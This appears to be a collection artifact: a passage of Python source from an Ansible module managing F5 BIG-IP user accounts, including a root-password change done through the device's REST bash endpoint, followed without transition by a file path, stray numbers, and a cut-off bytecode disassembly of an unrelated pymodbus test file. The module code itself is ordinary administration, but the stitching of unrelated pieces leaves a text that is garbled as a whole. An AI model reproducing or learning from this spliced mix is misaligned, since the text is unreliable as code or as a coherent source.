def to_return(self): result = {} for returnable in self.returnables: try: result[returnable] = getattr(self, returnable) except Exception: pass result = self._filter_params(result) return result class UsableChanges(Changes): @property def password(self): if self._values["password_credential"] is None: return None return self._values["password_credential"] class ReportableChanges(Changes): @property def partition_access(self): if self._values["partition_access"] is None: return None result = [] part_access = self._values["partition_access"] for access in part_access: if access["name"] == "all-partitions": name = "all" else: name = access["name"] role = access["role"] result.append(("{0}:{1}".format(name, role))) return result class Difference(object): def __init__(self, want, have=None): self.want = want self.have = have def compare(self, param): try: result = getattr(self, param) return result except AttributeError: return self.__default(param) def __default(self, param): attr1 = getattr(self.want, param) try: attr2 = getattr(self.have, param) if attr1 != attr2: return attr1 except AttributeError: return attr1 @property def password_credential(self): if self.want.password_credential is None: return None if self.want.update_password in ["always"]: return self.want.password_credential return None @property def shell(self): if self.want.shell == "none" and self.have.shell is None: return None if self.want.shell == "bash": self._validate_shell_parameter() if self.want.shell == self.have.shell: return None else: return self.want.shell if self.want.shell != self.have.shell: return self.want.shell def _validate_shell_parameter(self): """Method to validate shell parameters. Raise when shell attribute is set to 'bash' with roles set to either 'admin' or 'resource-admin'. NOTE: Admin and Resource-Admin roles automatically enable access to all partitions, removing any other roles that the user might have had. There are few other roles which do that but those roles, do not allow bash. """ err = "Shell access is only available to " "'admin' or 'resource-admin' roles." permit = ["admin", "resource-admin"] have = self.have.partition_access if not any(r["role"] for r in have if r["role"] in permit): raise F5ModuleError(err) if self.want.partition_access is not None: want = self.want.partition_access if not any(r["role"] for r in want if r["role"] in permit): raise F5ModuleError(err) class ModuleManager(object): def __init__(self, *args, **kwargs): self.module = kwargs.get("module", None) self.client = F5RestClient(**self.module.params) self.kwargs = kwargs def exec_module(self): if self.is_root_username_credential(): manager = self.get_manager("root") elif self.is_version_less_than_13(): manager = self.get_manager("v1") else: manager = self.get_manager("v2") return manager.exec_module() def get_manager(self, type): if type == "root": return RootUserManager(**self.kwargs) elif type == "v1": return UnpartitionedManager(**self.kwargs) elif type == "v2": return PartitionedManager(**self.kwargs) def is_version_less_than_13(self): """Checks to see if the TMOS version is less than 13 Anything less than BIG-IP 13.x does not support users on different partitions. :return: Bool """ version = tmos_version(self.client) if Version(version) < Version("13.0.0"): return True else: return False def is_root_username_credential(self): user = self.module.params.get("username_credential", None) if user == "root": return True return False class BaseManager(object): def __init__(self, *args, **kwargs): self.module = kwargs.get("module", None) self.client = F5RestClient(**self.module.params) self.want = ModuleParameters(params=self.module.params) self.have = ApiParameters() self.changes = UsableChanges() def _announce_deprecations(self, result): warnings = result.pop("__warnings", []) for warning in warnings: self.module.deprecate(msg=warning["msg"], version=warning["version"]) def _set_changed_options(self): changed = {} for key in Parameters.returnables: if getattr(self.want, key) is not None: changed[key] = getattr(self.want, key) if changed: self.changes = UsableChanges(params=changed) def _update_changed_options(self): diff = Difference(self.want, self.have) updatables = Parameters.updatables changed = dict() for k in updatables: change = diff.compare(k) if change is None: continue else: if isinstance(change, dict): changed.update(change) else: changed[k] = change if changed: self.changes = UsableChanges(params=changed) return True return False def exec_module(self): start = datetime.now().isoformat() version = tmos_version(self.client) changed = False result = dict() state = self.want.state if state == "present": changed = self.present() elif state == "absent": changed = self.absent() reportable = ReportableChanges(params=self.changes.to_return()) changes = reportable.to_return() result.update(**changes) result.update(dict(changed=changed)) self._announce_deprecations(result) send_teem(start, self.client, self.module, version) return result def present(self): if self.exists(): return self.update() else: return self.create() def absent(self): if self.exists(): return self.remove() return False def should_update(self): result = self._update_changed_options() if result: return True return False def update(self): self.have = self.read_current_from_device() if not self.should_update(): return False if self.module.check_mode: return True self.update_on_device() return True def remove(self): if self.module.check_mode: return True self.remove_from_device() if self.exists(): raise F5ModuleError("Failed to delete the user.") return True def create(self): self.validate_create_parameters() if self.want.shell == "bash": self.validate_shell_parameter() self._set_changed_options() if self.module.check_mode: return True self.create_on_device() return True def validate_shell_parameter(self): """Method to validate shell parameters. Raise when shell attribute is set to 'bash' with roles set to either 'admin' or 'resource-admin'. NOTE: Admin and Resource-Admin roles automatically enable access to all partitions, removing any other roles that the user might have had. There are few other roles which do that but those roles, do not allow bash. """ err = "Shell access is only available to " "'admin' or 'resource-admin' roles." permit = ["admin", "resource-admin"] if self.want.partition_access is not None: want = self.want.partition_access if not any(r["role"] for r in want if r["role"] in permit): raise F5ModuleError(err) def validate_create_parameters(self): if self.want.partition_access is None: err = ( "The 'partition_access' option " "is required when creating a resource." ) raise F5ModuleError(err) class UnpartitionedManager(BaseManager): def exists(self): uri = "https://{0}:{1}/mgmt/tm/auth/user/{2}".format( self.client.provider["server"], self.client.provider["server_port"], self.want.username_credential, ) resp = self.client.api.get(uri) try: response = resp.json() except ValueError as ex: raise F5ModuleError(str(ex)) if resp.status == 404 or "code" in response and response["code"] == 404: return False if ( resp.status in [200, 201] or "code" in response and response["code"] in [200, 201] ): return True errors = [401, 403, 409, 500, 501, 502, 503, 504] if resp.status in errors or "code" in response and response["code"] in errors: if "message" in response: raise F5ModuleError(response["message"]) else: raise F5ModuleError(resp.content) def create_on_device(self): params = self.changes.api_params() params["name"] = self.want.username_credential uri = "https://{0}:{1}/mgmt/tm/auth/user/".format( self.client.provider["server"], self.client.provider["server_port"] ) resp = self.client.api.post(uri, json=params) try: response = resp.json() except ValueError as ex: raise F5ModuleError(str(ex)) if "code" in response and response["code"] in [400, 403]: if "message" in response: raise F5ModuleError(response["message"]) else: raise F5ModuleError(resp.content) return response["selfLink"] def update_on_device(self): params = self.changes.api_params() uri = "https://{0}:{1}/mgmt/tm/auth/user/{2}".format( self.client.provider["server"], self.client.provider["server_port"], self.want.username_credential, ) resp = self.client.api.patch(uri, json=params) try: response = resp.json() except ValueError as ex: raise F5ModuleError(str(ex)) if "code" in response and response["code"] == 400: if "message" in response: raise F5ModuleError(response["message"]) else: raise F5ModuleError(resp.content) def remove_from_device(self): uri = "https://{0}:{1}/mgmt/tm/auth/user/{2}".format( self.client.provider["server"], self.client.provider["server_port"], self.want.username_credential, ) response = self.client.api.delete(uri) if response.status == 200: return True raise F5ModuleError(response.content) def read_current_from_device(self): uri = "https://{0}:{1}/mgmt/tm/auth/user/{2}".format( self.client.provider["server"], self.client.provider["server_port"], self.want.username_credential, ) resp = self.client.api.get(uri) try: response = resp.json() except ValueError as ex: raise F5ModuleError(str(ex)) if "code" in response and response["code"] == 400: if "message" in response: raise F5ModuleError(response["message"]) else: raise F5ModuleError(resp.content) return ApiParameters(params=response) class PartitionedManager(BaseManager): def exists(self): response = self.list_users_on_device() if "items" in response: collection = [ x for x in response["items"] if x["name"] == self.want.username_credential ] if len(collection) == 1: return True elif len(collection) == 0: return False else: raise F5ModuleError("Multiple users with the provided name were found!") return False def create_on_device(self): params = self.changes.api_params() params["name"] = self.want.username_credential params["partition"] = self.want.partition uri = "https://{0}:{1}/mgmt/tm/auth/user/".format( self.client.provider["server"], self.client.provider["server_port"] ) resp = self.client.api.post(uri, json=params) try: response = resp.json() except ValueError as ex: raise F5ModuleError(str(ex)) if "code" in response and response["code"] in [400, 404, 409, 403]: if "message" in response: raise F5ModuleError(response["message"]) else: raise F5ModuleError(resp.content) return True def read_current_from_device(self): response = self.list_users_on_device() collection = [ x for x in response["items"] if x["name"] == self.want.username_credential ] if len(collection) == 1: user = collection.pop() return ApiParameters(params=user) elif len(collection) == 0: raise F5ModuleError("No accounts with the provided name were found.") else: raise F5ModuleError("Multiple users with the provided name were found!") def update_on_device(self): params = self.changes.api_params() uri = "https://{0}:{1}/mgmt/tm/auth/user/{2}".format( self.client.provider["server"], self.client.provider["server_port"], self.want.username_credential, ) resp = self.client.api.patch(uri, json=params) try: response = resp.json() except ValueError as ex: raise F5ModuleError(str(ex)) if "code" in response and response["code"] in [400, 404, 409, 403]: if "message" in response: if "updated successfully" not in response["message"]: raise F5ModuleError(response["message"]) else: raise F5ModuleError(resp.content) def remove_from_device(self): uri = "https://{0}:{1}/mgmt/tm/auth/user/{2}".format( self.client.provider["server"], self.client.provider["server_port"], self.want.username_credential, ) response = self.client.api.delete(uri) if response.status == 200: return True raise F5ModuleError(response.content) def list_users_on_device(self): uri = "https://{0}:{1}/mgmt/tm/auth/user/".format( self.client.provider["server"], self.client.provider["server_port"], ) query = "?$filter=partition+eq+'{0}'".format(self.want.partition) resp = self.client.api.get(uri + query) try: response = resp.json() except ValueError as ex: raise F5ModuleError(str(ex)) if "code" in response and response["code"] == 400: if "message" in response: raise F5ModuleError(response["message"]) else: raise F5ModuleError(resp.content) return response class RootUserManager(BaseManager): def exec_module(self): if not HAS_CRYPTO: raise F5ModuleError( "An installed and up-to-date python 'cryptography' package is " "required to change the 'root' password." ) start = datetime.now().isoformat() version = tmos_version(self.client) changed = False result = dict() state = self.want.state if state == "present": changed = self.present() elif state == "absent": raise F5ModuleError("You may not remove the root user.") reportable = ReportableChanges(params=self.changes.to_return()) changes = reportable.to_return() result.update(**changes) result.update(dict(changed=changed)) self._announce_deprecations(result) send_teem(start, self.client, self.module, version) return result def exists(self): return True def update(self): public_key = self.get_public_key_from_device() public_key = self.extract_key(public_key) encrypted = self.encrypt_password_change_file( public_key, self.want.password_credential ) self.upload_to_device(encrypted, self.want.temp_upload_file) result = self.update_on_device() self.remove_uploaded_file_from_device(self.want.temp_upload_file) return result def encrypt_password_change_file(self, public_key, password): pub = serialization.load_pem_public_key( to_bytes(public_key), backend=default_backend() ) message = to_bytes("{0}\n{0}\n".format(password)) ciphertext = pub.encrypt( message, padding.PKCS1v15(), ) return BytesIO(ciphertext) def extract_key(self, content): """Extracts the public key from the openssl command output over REST The REST output includes some extra output that is not relevant to the public key. This function attempts to only return the valid public key data from the openssl output Args: content: The output from the REST API command to view the public key. Returns: string: The discovered public key """ lines = content.split("\n") start = lines.index("-----BEGIN PUBLIC KEY-----") end = lines.index("-----END PUBLIC KEY-----") result = "\n".join(lines[start : end + 1]) return result def update_on_device(self): errors = [ "Bad password", "password change canceled", "based on a dictionary word", ] openssl = [ "openssl", "pkeyutl", "-in", "/var/config/rest/downloads/{0}".format(self.want.temp_upload_file), "-decrypt", "-inkey", "/config/ssl/ssl.key/default.key", ] cmd = '-c "{0} | tmsh modify auth password root"'.format(" ".join(openssl)) params = dict(command="run", utilCmdArgs=cmd) uri = "https://{0}:{1}/mgmt/tm/util/bash".format( self.client.provider["server"], self.client.provider["server_port"] ) resp = self.client.api.post(uri, json=params) try: response = resp.json() if "commandResult" in response: if any(x for x in errors if x in response["commandResult"]): raise F5ModuleError(response["commandResult"]) except ValueError as ex: raise F5ModuleError(str(ex)) if "code" in response and response["code"] in [400, 403]: if "message" in response: raise F5ModuleError(response["message"]) else: raise F5ModuleError(resp.content) return True def upload_to_device(self, content, name): """Uploads a file-like object via the REST API to a given filename Args: content: The file-like object whose content to upload name: The remote name of the file to store the content in. The final location of the file will be in /var/config/rest/downloads. Returns: void """ url = "https://{0}:{1}/mgmt/shared/file-transfer/uploads".format( self.client.provider["server"], self.client.provider["server_port"] ) try: upload_file(self.client, url, content, name) except F5ModuleError: raise F5ModuleError("Failed to upload the file.") def remove_uploaded_file_from_device(self, name): filepath = "/var/config/rest/downloads/{0}".format(name) params = {"command": "run", "utilCmdArgs": filepath} uri = "https://{0}:{1}/mgmt/tm/util/unix-rm".format( self.client.provider["server"], self.client.provider["server_port"] ) resp = self.client.api.post(uri, json=params) try: response = resp.json() except ValueError as ex: raise F5ModuleError(str(ex)) if "code" in response and response["code"] in [400, 403]: if "message" in response: raise F5ModuleError(response["message"]) else: raise F5ModuleError(resp.content) def get_public_key_from_device(self): cmd = '-c "openssl rsa -in /config/ssl/ssl.key/default.key -pubout"' params = dict(command="run", utilCmdArgs=cmd) uri = "https://{0}:{1}/mgmt/tm/util/bash".format( self.client.provider["server"], self.client.provider["server_port"] ) resp = self.client.api.post(uri, json=params) try: response = resp.json() except ValueError as ex: raise F5ModuleError(str(ex)) if "code" in response and response["code"] in [400, 403]: if "message" in response: raise F5ModuleError(response["message"]) else: raise F5ModuleError(resp.content) if "commandResult" in response: return response["commandResult"] return None class ArgumentSpec(object): def __init__(self): self.supports_check_mode = True argument_spec = dict( username_credential=dict(required=True, aliases=["name"]), password_credential=dict( no_log=True, ), partition_access=dict( type="list", elements="str", ), full_name=dict(), shell=dict(choices=["none", "bash", "tmsh"]), update_password=dict( default="always", choices=["always", "on_create"], no_log=False ), state=dict(default="present", choices=["absent", "present"]), partition=dict(default="Common", fallback=(env_fallback, ["F5_PARTITION"])), ) self.argument_spec = {} self.argument_spec.update(f5_argument_spec) self.argument_spec.update(argument_spec) def main(): spec = ArgumentSpec() module = AnsibleModule( argument_spec=spec.argument_spec, supports_check_mode=spec.supports_check_mode ) if not HAS_PACKAGING: module.fail_json( msg=missing_required_lib("packaging"), exception=PACKAGING_IMPORT_ERROR ) try: mm = ModuleManager(module=module) results = mm.exec_module() module.exit_json(**results) except F5ModuleError as ex: module.fail_json(msg=str(ex)) if __name__ == "__main__": main()
data/ansible-9.2.0/ansible_collections/f5networks/f5_modules/plugins/modules/bigip_user.py
16,662
9,002
6,295
LOAD_CONST 'Test transaction.' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST ('a2b_hex',) IMPORT_NAME binascii IMPORT_FROM a2b_hex STORE_NAME a2b_hex POP_TOP LOAD_CONST 0 LOAD_CONST ('count',) IMPORT_NAME itertools IMPORT_FROM count STORE_NAME count POP_TOP LOAD_CONST 0 LOAD_CONST ('mock',) IMPORT_NAME unittest IMPORT_FROM mock STORE_NAME mock POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST ('InvalidMessageReceivedException', 'ModbusIOException') IMPORT_NAME pymodbus.exceptions IMPORT_FROM InvalidMessageReceivedException STORE_NAME InvalidMessageReceivedException IMPORT_FROM ModbusIOException STORE_NAME ModbusIOException POP_TOP LOAD_CONST 0 LOAD_CONST ('ServerDecoder',) IMPORT_NAME pymodbus.factory IMPORT_FROM ServerDecoder STORE_NAME ServerDecoder POP_TOP LOAD_CONST 0 LOAD_CONST ('ModbusRequest',) IMPORT_NAME pymodbus.pdu IMPORT_FROM ModbusRequest STORE_NAME ModbusRequest POP_TOP LOAD_CONST 0 LOAD_CONST ('DictTransactionManager', 'ModbusAsciiFramer', 'ModbusBinaryFramer', 'ModbusRtuFramer', 'ModbusSocketFramer', 'ModbusTlsFramer', 'ModbusTransactionManager') IMPORT_NAME pymodbus.transaction IMPORT_FROM DictTransactionManager STORE_NAME DictTransactionManager IMPORT_FROM ModbusAsciiFramer STORE_NAME ModbusAsciiFramer IMPORT_FROM ModbusBinaryFramer STORE_NAME ModbusBinaryFramer IMPORT_FROM ModbusRtuFramer STORE_NAME ModbusRtuFramer IMPORT_FROM ModbusSocketFramer STORE_NAME ModbusSocketFramer IMPORT_FROM ModbusTlsFramer STORE_NAME ModbusTlsFramer IMPORT_FROM ModbusTransactionManager STORE_NAME ModbusTransactionManager POP_TOP LOAD_CONST b'{\x01\x03\x00\x00\x00\x05\x85\xc9}' STORE_NAME TEST_MESSAGE LOAD_BUILD_CLASS LOAD_CONST <code object TestTransaction at 0x7fa6f34915d0, file "f.py", line 29> LOAD_CONST 'TestTransaction' MAKE_FUNCTION LOAD_CONST 'TestTransaction' CALL_FUNCTION STORE_NAME TestTransaction LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTransaction' STORE_NAME __qualname__ LOAD_CONST 'Unittest for the pymodbus.transaction module.' STORE_NAME __doc__ LOAD_CONST None STORE_NAME client LOAD_CONST None STORE_NAME decoder LOAD_CONST None STORE_NAME _tcp LOAD_CONST None STORE_NAME _tls LOAD_CONST None STORE_NAME _rtu LOAD_CONST None STORE_NAME _ascii LOAD_CONST None STORE_NAME _binary LOAD_CONST None STORE_NAME _manager LOAD_CONST None STORE_NAME _tm LOAD_CONST <code object setup_method at 0x7fa6f6818d20, file "f.py", line 42> LOAD_CONST 'TestTransaction.setup_method' MAKE_FUNCTION STORE_NAME setup_method LOAD_CONST <code object test_calculate_expected_response_length at 0x7fa6f6818420, file "f.py", line 54> LOAD_CONST 'TestTransaction.test_calculate_expected_response_length' MAKE_FUNCTION STORE_NAME test_calculate_expected_response_length LOAD_CONST <code object test_calculate_exception_length at 0x7fa6f6818f60, file "f.py", line 70> LOAD_CONST 'TestTransaction.test_calculate_exception_length' MAKE_FUNCTION STORE_NAME test_calculate_exception_length LOAD_NAME mock LOAD_METHOD patch LOAD_CONST 'pymodbus.transaction.time' CALL_METHOD LOAD_CONST <code object test_execute at 0x7fa6f6818030, file "f.py", line 100> LOAD_CONST 'TestTransaction.test_execute' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_execute LOAD_CONST <code object test_dict_transaction_manager_tid at 0x7fa6f6818ed0, file "f.py", line 190> LOAD_CONST 'TestTransaction.test_dict_transaction_manager_tid' MAKE_FUNCTION STORE_NAME test_dict_transaction_manager_tid LOAD_CONST <code object test_get_dict_fifo_transaction_manager_transaction at 0x7fa6f6818a50, file "f.py", line 197> LOAD_CONST 'TestTransaction.test_get_dict_fifo_transaction_manager_transaction' MAKE_FUNCTION STORE_NAME test_get_dict_fifo_transaction_manager_transaction LOAD_CONST <code object test_delete_dict_fifo_transaction_manager_transaction at 0x7fa6d804ae40, file "f.py", line 213> LOAD_CONST 'TestTransaction.test_delete_dict_fifo_transaction_manager_transaction' MAKE_FUNCTION STORE_NAME test_delete_dict_fifo_transaction_manager_transaction LOAD_CONST <code object test_tcp_framer_transaction_ready at 0x7fa6d804ad20, file "f.py", line 230> LOAD_CONST 'TestTransaction.test_tcp_framer_transaction_ready' MAKE_FUNCTION STORE_NAME test_tcp_framer_transaction_ready LOAD_CONST <code object test_tcp_framer_transaction_full at 0x7fa6d804a300, file "f.py", line 243> LOAD_CONST 'TestTransaction.test_tcp_framer_transaction_full' MAKE_FUNCTION STORE_NAME test_tcp_framer_transaction_full LOAD_CONST <code object test_tcp_framer_transaction_half at 0x7fa6d804aa50, file "f.py", line 252> LOAD_CONST 'TestTransaction.test_tcp_framer_transaction_half' MAKE_FUNCTION STORE_NAME test_tcp_framer_transaction_half LOAD_CONST <code object test_tcp_framer_transaction_half2 at 0x7fa6d804a8a0, file "f.py", line 266> LOAD_CONST 'TestTransaction.test_tcp_framer_transaction_half2' MAKE_FUNCTION STORE_NAME test_tcp_framer_transaction_half2 LOAD_CONST <code object test_tcp_framer_transaction_half3 at 0x7fa6d804a540, file "f.py", line 280> LOAD_CONST 'TestTransaction.test_tcp_framer_transaction_half3' MAKE_FUNCTION STORE_NAME test_tcp_framer_transaction_half3 LOAD_CONST <code object test_tcp_framer_transaction_short at 0x7fa6d804af60, file "f.py", line 294> LOAD_CONST 'TestTransaction.test_tcp_framer_transaction_short' MAKE_FUNCTION STORE_NAME test_tcp_framer_transaction_short LOAD_CONST <code object test_tcp_framer_populate at 0x7fa6d804a030, file "f.py", line 310> LOAD_CONST 'TestTransaction.test_tcp_framer_populate' MAKE_FUNCTION STORE_NAME test_tcp_framer_populate LOAD_CONST <code object test_tcp_framer_packet at 0x7fa6d804a420, file "f.py", line 325> LOAD_CONST 'TestTransaction.test_tcp_framer_packet' MAKE_FUNCTION STORE_NAME test_tcp_framer_packet LOAD_CONST <code object test_framer_tls_framer_transaction_ready at 0x7fa6d804a930, file "f.py", line 339> LOAD_CONST 'TestTransaction.test_framer_tls_framer_transaction_ready' MAKE_FUNCTION STORE_NAME test_framer_tls_framer_transaction_ready LOAD_CONST <code object test_framer_tls_framer_transaction_full at 0x7fa6d804aae0, file "f.py", line 352> LOAD_CONST 'TestTransaction.test_framer_tls_framer_transaction_full' MAKE_FUNCTION STORE_NAME test_framer_tls_framer_transaction_full LOAD_CONST <code object test_framer_tls_framer_transaction_half at 0x7fa6d804aed0, file "f.py", line 361> LOAD_CONST 'TestTransaction.test_framer_tls_framer_transaction_half' MAKE_FUNCTION STORE_NAME test_framer_tls_framer_transaction_half LOAD_CONST <code object test_framer_tls_framer_transaction_short at 0x7fa6d804ac90, file "f.py", line 375> LOAD_CONST 'TestTransaction.test_framer_tls_framer_transaction_short' MAKE_FUNCTION STORE_NAME test_framer_tls_framer_transaction_short LOAD_CONST <code object test_framer_tls_framer_decode at 0x7fa6d804adb0, file "f.py", line 391> LOAD_CONST 'TestTransaction.test_framer_tls_framer_decode' MAKE_FUNCTION STORE_NAME test_framer_tls_framer_decode LOAD_CONST <code object test_framer_tls_incoming_packet at 0x7fa6d804ab70, file "f.py", line 401> LOAD_CONST 'TestTransaction.test_framer_tls_incoming_packet' MAKE_FUNCTION STORE_NAME test_framer_tls_incoming_packet LOAD_CONST <code object test_framer_tls_process at 0x7fa6d804ac00, file "f.py", line 428> LOAD_CONST 'TestTransaction.test_framer_tls_process' MAKE_FUNCTION STORE_NAME test_framer_tls_process LOAD_CONST <code object test_framer_tls_framer_populate at 0x7fa6d804a4b0, file "f.py", line 454> LOAD_CONST 'TestTransaction.test_framer_tls_framer_populate' MAKE_FUNCTION STORE_NAME test_framer_tls_framer_populate LOAD_CONST <code object test_framer_tls_framer_packet at 0x7fa6db191ae0, file "f.py", line 464> LOAD_CONST 'TestTransaction.test_framer_tls_framer_packet' MAKE_FUNCTION STORE_NAME test_framer_tls_framer_packet LOAD_CONST <code object test_rtu_framer_transaction_ready at 0x7fa6db191c90, file "f.py", line 475> LOAD_CONST 'TestTransaction.test_rtu_framer_transaction_ready' MAKE_FUNCTION STORE_NAME test_rtu_framer_transaction_ready LOAD_CONST <code object test_rtu_framer_transaction_full at 0x7fa6db191c00, file "f.py", line 488> LOAD_CONST 'TestTransaction.test_rtu_framer_transaction_full' MAKE_FUNCTION STORE_NAME test_rtu_framer_transaction_full LOAD_CONST <code object test_rtu_framer_transaction_half at 0x7fa6db191270, file "f.py", line 498> LOAD_CONST 'TestTransaction.test_rtu_framer_transaction_half' MAKE_FUNCTION STORE_NAME test_rtu_framer_transaction_half LOAD_CONST <code object test_rtu_framer_populate at 0x7fa6db191e40, file "f.py", line 511> LOAD_CONST 'TestTransaction.test_rtu_framer_populate' MAKE_FUNCTION STORE_NAME test_rtu_framer_populate LOAD_CONST <code object test_rtu_framer_packet at 0x7fa6db191390, file "f.py", line 525> LOAD_CONST 'TestTransaction.test_rtu_framer_packet' MAKE_FUNCTION STORE_NAME test_rtu_framer_packet LOAD_CONST <code object test_rtu_decode_exception at 0x7fa6db191b70, file "f.py", line 537> LOAD_CONST 'TestTransaction.test_rtu_decode_exception' MAKE_FUNCTION STORE_NAME test_rtu_decode_exception LOAD_CONST <code object test_process at 0x7fa6db191660, file "f.py", line 544> LOAD_CONST 'TestTransaction.test_process' MAKE_FUNCTION STORE_NAME test_process LOAD_CONST <code object test_rtu_process_incoming_packets at 0x7fa6db1916f0, file "f.py", line 572> LOAD_CONST 'TestTransaction.test_rtu_process_incoming_packets' MAKE_FUNCTION STORE_NAME test_rtu_process_incoming_packets LOAD_CONST <code object test_ascii_framer_transaction_ready at 0x7fa6db1911e0, file "f.py", line 587> LOAD_CONST 'TestTransaction.test_ascii_framer_transaction_ready' MAKE_FUNCTION STORE_NAME test_ascii_framer_transaction_ready LOAD_CONST <code object test_ascii_framer_transaction_full at 0x7fa6db191540, file "f.py", line 600> LOAD_CONST 'TestTransaction.test_ascii_framer_transaction_full' MAKE_FUNCTION STORE_NAME test_ascii_framer_transaction_full LOAD_CONST <code object test_ascii_framer_transaction_half at 0x7fa6db191030, file "f.py", line 610> LOAD_CONST 'TestTransaction.test_ascii_framer_transaction_half' MAKE_FUNCTION STORE_NAME test_ascii_framer_transaction_half LOAD_CONST <code object test_ascii_framer_populate at 0x7fa6db191930, file "f.py", line 625> LOAD_CONST 'TestTransaction.test_ascii_framer_populate' MAKE_FUNCTION STORE_NAME test_ascii_framer_populate LOAD_CONST <code object test_ascii_framer_packet at 0x7fa6db191ed0, file "f.py", line 631> LOAD_CONST 'TestTransaction.test_ascii_framer_packet' MAKE_FUNCTION STORE_NAME test_ascii_framer_packet LOAD_CONST <code object test_ascii_process_incoming_packets at 0x7fa6db1915d0, file "f.py", line 643> LOAD_CONST 'TestTransaction.test_ascii_process_incoming_packets' MAKE_FUNCTION STORE_NAME test_ascii_process_incoming_packets LOAD_CONST <code object test_binary_framer_transaction_ready at 0x7fa6db191780, file "f.py", line 656> LOAD_CONST 'TestTransaction.test_binary_framer_transaction_ready' MAKE_FUNCTION STORE_NAME test_binary_framer_transaction_ready LOAD_CONST <code object test_binary_framer_transaction_full at 0x7fa6f3491810, file "f.py", line 669> LOAD_CONST 'TestTransaction.test_binary_framer_transaction_full' MAKE_FUNCTION STORE_NAME test_binary_framer_transaction_full LOAD_CONST <code object test_binary_framer_transaction_half at 0x7fa6f34914b0, file "f.py", line 679> LOAD_CONST 'TestTransaction.test_binary_framer_transaction_half' MAKE_FUNCTION STORE_NAME test_binary_framer_transaction_half LOAD_CONST <code object test_binary_framer_populate at 0x7fa6f3491b70, file "f.py", line 695> LOAD_CONST 'TestTransaction.test_binary_framer_populate' MAKE_FUNCTION STORE_NAME test_binary_framer_populate LOAD_CONST <code object test_binary_framer_packet at 0x7fa6f3491300, file "f.py", line 701> LOAD_CONST 'TestTransaction.test_binary_framer_packet' MAKE_FUNCTION STORE_NAME test_binary_framer_packet LOAD_CONST <code object test_binary_process_incoming_packet at 0x7fa6f3491ed0, file "f.py", line 713> LOAD_CONST 'TestTransaction.test_binary_process_incoming_packet' MAKE_FUNCTION STORE_NAME test_binary_process_incoming_packet LOAD_CONST None RETURN_VALUE LOAD_CONST None LOAD_FAST self STORE_ATTR client LOAD_GLOBAL ServerDecoder CALL_FUNCTION LOAD_FAST self STORE_ATTR decoder LOAD_GLOBAL ModbusSocketFramer LOAD_FAST self LOAD_ATTR decoder LOAD_CONST None LOAD_CONST ('decoder', 'client') CALL_FUNCTION LOAD_FAST self STORE_ATTR _tcp LOAD_GLOBAL ModbusTlsFramer LOAD_FAST self LOAD_ATTR decoder LOAD_CONST None LOAD_CONST ('decoder', 'client') CALL_FUNCTION LOAD_FAST self STORE_ATTR _tls LOAD_GLOBAL ModbusRtuFramer LOAD_FAST self LOAD_ATTR decoder LOAD_CONST None LOAD_CONST ('decoder', 'client') CALL_FUNCTION LOAD_FAST self STORE_ATTR _rtu LOAD_GLOBAL ModbusAsciiFramer LOAD_FAST self LOAD_ATTR decoder LOAD_CONST None LOAD_CONST ('decoder', 'client') CALL_FUNCTION LOAD_FAST self STORE_ATTR _ascii LOAD_GLOBAL ModbusBinaryFramer LOAD_FAST self LOAD_ATTR decoder LOAD_CONST None LOAD_CONST ('decoder', 'client') CALL_FUNCTION LOAD_FAST self STORE_ATTR _binary LOAD_GLOBAL DictTransactionManager LOAD_FAST self LOAD_ATTR client CALL_FUNCTION LOAD_FAST self STORE_ATTR _manager LOAD_GLOBAL ModbusTransactionManager LOAD_FAST self LOAD_ATTR client CALL_FUNCTION LOAD_FAST self STORE_ATTR _tm LOAD_CONST None RETURN_VALUE LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST self LOAD_ATTR _tm STORE_ATTR client LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST self LOAD_ATTR _tm LOAD_ATTR client STORE_ATTR framer LOAD_FAST self LOAD_ATTR _tm LOAD_METHOD _set_adu_size CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _tm LOAD_METHOD _calculate_response_length LOAD_CONST 0 CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 10 LOAD_FAST self LOAD_ATTR _tm STORE_ATTR base_adu_size LOAD_FAST self LOAD_ATTR _tm LOAD_METHOD _calculate_response_length LOAD_CONST 5 CALL_METHOD LOAD_CONST 15 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE SETUP_LOOP to 182 LOAD_CONST (('ascii', 11), ('binary', 7), ('rtu', 5), ('tcp', 9), ('tls', 2), ('dummy', None)) GET_ITER FOR_ITER to 180 UNPACK_SEQUENCE STORE_FAST framer STORE_FAST exception_length LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST self LOAD_ATTR _tm STORE_ATTR client LOAD_FAST framer LOAD_CONST 'ascii' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ascii LOAD_FAST self LOAD_ATTR _tm LOAD_ATTR client STORE_ATTR framer JUMP_FORWARD to 150 LOAD_FAST framer LOAD_CONST 'binary' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _binary LOAD_FAST self LOAD_ATTR _tm LOAD_ATTR client STORE_ATTR framer JUMP_FORWARD to 150 LOAD_FAST framer LOAD_CONST 'rtu' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _rtu LOAD_FAST self LOAD_ATTR _tm LOAD_ATTR client STORE_ATTR framer JUMP_FORWARD to 150 LOAD_FAST framer LOAD_CONST 'tcp' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _tcp LOAD_FAST self LOAD_ATTR _tm LOAD_ATTR client STORE_ATTR framer JUMP_FORWARD to 150 LOAD_FAST framer LOAD_CONST 'tls' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _tls LOAD_FAST self LOAD_ATTR _tm LOAD_ATTR client STORE_ATTR framer JUMP_FORWARD to 150 LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST self LOAD_ATTR _tm LOAD_ATTR client STORE_ATTR framer LOAD_FAST self LOAD_ATTR _tm 